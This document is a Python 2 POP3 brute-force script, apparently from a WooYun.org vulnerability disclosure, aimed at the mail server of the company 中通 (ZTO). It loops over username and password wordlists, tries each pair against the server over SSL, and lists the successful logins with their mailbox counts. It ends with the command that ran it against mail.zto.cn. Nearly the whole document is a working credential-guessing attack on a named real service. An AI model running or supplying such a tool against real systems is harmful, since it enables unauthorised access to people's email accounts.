WooYun.org

#!usr/bin/python 
#!coding:utf-8 
import sys,poplib 
if len(sys.argv) !=4 and len(sys.argv) != 5: 
    print "\t    Note: 邮箱类型为：中通 \n" 
    print "\t    Note: 用户字典不需要域名后缀，例如zhangsan\n" 
    print "\t    Usage: 使用方法：./mail.py type <userlist> <wordlist> mail.domain.com\n"   
    sys.exit(1) 
server = sys.argv[4]
success = [] 
try: 
    users_list = open(sys.argv[2], "r") 
    users = users_list.readlines() 
    words_list = open(sys.argv[3], "r") 
    words = words_list.readlines() 
except(IOError): 
    print "[-] Error: please check filename\n" 
    sys.exit(1) 
finally: 
    users_list.close() 
    words_list.close()
     
try: 
    pop = poplib.POP3_SSL(server,995) 
    welcome = pop.getwelcome() 
    print welcome 
    pop.quit() 
except (poplib.error_proto): 
    welcome = "[-] Error: No Response,Something wrong!!!\n" 
    sys.exit(1) 
print "[+] Server:",server 
print "[+] Users Loaded:",len(users) 
print "[+] Words Loaded:",len(words) 
print "[+] Server response:",welcome,"\n" 
def mailbruteforce(listuser,listpwd,type): 
    if len(listuser) < 1 or len(listpwd) < 1 : 
        print "[-] Error: An error occurred: No user or pass list\n" 
        return 1 
     
    for user in listuser: 
        for passwd in listpwd : 
            user = user.replace("\n","") 
            passwd = passwd.replace("\n","") 
             
            try: 
                print "-"*12 
                print "[+] User:",user,"Password:",passwd 
                
                #time.sleep(0.5)       
                popserver = poplib.POP3_SSL(server,995) 
                popserver.user(user) 
                auth = popserver.pass_(passwd)
                print auth
                if auth.split(' ')[0] == "+OK" or auth =="+OK": 
                    ret = (user,passwd,popserver.stat()[0],popserver.stat()[1]) 
                    success.append(ret) 
                    print len(success) 
                    popserver.quit() 
                    break 
                else : 
                    popserver.quit() 
                    continue 
             
            except: 
                #print "An error occurred:", msg 
                pass 
if __name__ == '__main__': 
    mailbruteforce(users,words,sys.argv[1]) 
     
    print "\t[+] have weakpass :\t",len(success) 
    if len(success) >=1: 
        for ret in success: 
            print "\n\n[+] Login successful:",ret[0], ret[1] 
            print "\t[+] Mail:",ret[2],"emails" 
    print "\n[-] Done"

D:\Python>python mail\zto.py Winmail mail\zto.txt mail\pass\pass0.txt mail.zto.cn